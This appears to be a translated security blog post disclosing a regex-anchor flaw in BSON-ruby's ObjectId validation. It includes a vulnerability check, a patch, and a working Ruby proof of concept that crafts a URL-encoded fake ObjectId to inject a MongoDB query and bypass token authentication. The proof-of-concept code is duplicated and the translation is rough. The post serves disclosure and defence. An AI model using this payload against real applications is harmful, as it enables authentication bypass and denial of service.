A bug was found in BSON-ruby, which at best led to a small DoS, but most versions were vulnerable to BSON injection (the SQL injection analog, BSON is the binary JSON analog used for working with the database).
On Habré, the feature of regulars in Ruby was already
mentioned - in our case, ^ $ means not just the beginning and end of the line, but also a new line \ n.
But then in the examples there were only XSS “javascript: a () \ nhttp: //”, and I have been looking for an example for a long time when regulars lead to something serious. And a couple of days ago, during the audit of our client’s external libraries, I came across the following code in BSON-ruby.
')
def legal?(str) !!str.match(/^[0-9a-f]{24}$/i) end
This method is responsible for validating the ObjectId - document identifier. For example Order.find (params [: id]) where id is 24 characters from the user of the input form "21141c78d99f23d5f34d3201".
After a little investigation, I found out that the regular season was fixed for the first time in 2012 at \ A \ Z, then re-broken by the maintainer himself in 2013 as a result of a
very suspicious regression .
In other words, from April 17, 2012 to March 2013 were used ^ $, then \ A \ Z until April 2013, and then again ^ $.
To check if your application is vulnerable, run:
b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise "DoS!" if b.legal? "a"*24+"\n" raise "Injection!" if b.legal? "a"*24+"\na"
And use this patch if yes:
def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s) /\A\h{24}\z/ === s.to_s end
If you use the old version of BSON from 2013, then, most likely, \ A \ Z is used there and only a small DoS is possible. Why? Because \ Z in ruby, in addition to ending the line, allows one \ n at the end. But if we send id = aaaaaaaaaaaaaaaaaaaaaaaa% 0A then the Mongo will swear
[conn1] Assertion: 10307: Client Error: bad object in message: invalid bs type in object with _id: ObjectId ('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
However, Ruby's driver does not understand this error and concludes that the node is lying. And it pings Mongo another 39 times over the next 5 seconds, scoring a workman with useless work, which can be used as Denial of Service for some sites.
But this is nothing compared to what is happening in the latest versions of BSON. There you can send a string like
_id = Any binary data \ naaaaaaaaaaaaaaaaaaaaaaaa \ nAny binary data
What will be unpacked from hex into binary and inserted into the BSON body of the document upon request to the Mongo without changes (it is assumed that the ObjectId is already validated and inserted for its performance in its pure form). With this Proof of Concept, you can make arbitrary requests to Mongo by overwriting the parameters of the BSON document, bypassing authentication systems based on tokens or key APIs, doing DoS, and possibly much more.
require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id)
% 0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id)
As a result, the request with the injection enters the Mongo socket as follows:
\ x83 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD4 \ a \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 mng_development.users \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00Q \ x00 \ x00 \ x00 \ a_id
\ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x02_id \ x00 \ x0F \ x00 \ x00 \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x00 \ x03 $ query \ x00 \ e \ x00 \ x00 \ x00 \ x03token \ x00 \ x0F \ x00 \ x00 \ x00 \ x02 $ gt \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00
Apply the patch, and remember that in regulars in ruby ​​you should always use \ A \ z.